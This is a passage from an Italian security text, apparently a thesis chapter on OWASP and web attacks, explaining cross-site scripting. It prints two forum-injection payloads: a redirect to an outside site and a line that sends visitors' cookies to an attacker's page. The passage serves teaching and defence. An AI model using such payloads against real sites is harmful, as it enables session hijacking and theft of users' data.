analisi e gestione della sicurezza di una complessa applicazione ...

CAPITOLO VI - Gli attacchi e il progetto OWASP
Quando il client lo esegue fornisce delle informazioni all’hacker che non avrebbe dovuto dare.
La web application è colpevole in quanto vulnerabile e consegna lo script dell’hacker al client;
l’attacco funziona anche in assenza di vulnerabilità del browser e dei sistemi operativi di client
e server.
Come esempio si può provare a scrivere su un forum nel testo:
location=‘http://www.notrace.it/’;
Successivamente si può salvare questo testo su un forum non protetto da questo attacco e come
risultato si avrà che chi carica la pagina con il messaggio, sarà reindirizzato al sito
www.notrace.it
Vediamo un esempio più pericoloso con questo testo:
document.location=‘http://www.sito.com/leggo-
cookie.asp?’+document.cookie
Con questa riga si possono leggere i cookie rilasciati dal sito vittima e inviarli ad una pagina
appositamente creata.
La prima domanda che salta in mente allo sviluppatore riguarda la sicurezza degli script. Non
erano forse stati pensati per essere intrinsecamente sicuri? È noto che gli script possono
accedere ad un numero limitato di risorse e che il browser impedisce loro, tra le altre cose, di
accedere ad un arbitrario file su disco o di eseguire chiamate di sistema. Il fatto è che gli script
possono essere considerati sicuri in quanto eseguiti nel contesto dell’applicazione web per cui
sono stati scritti. Non è certamente di interesse per un sito divulgare le informazioni sensibili
che gli sono state affidate dall’utente; diverso è se lo script è pensato da qualcuno che vuole
rubare queste informazioni.
Rivalutando gli script in quest’ottica, ecco che le risorse a cui devono poter accedere possono
risultare a rischio; tra queste ci possono essere i dati presenti nella pagina web del sito
vulnerabile, i dati prelevabili con richieste Get/Post/XmlHttp al sito di provenienza, i cookie
persistenti o ancora dei dati XML usati per esempio da Ajax.
Descritto il meccanismo a grandi linee, entriamo in maggiore dettaglio cominciando a
suddividere gli attacchi di cross site scripting in due macrocategorie: attacchi stored e
136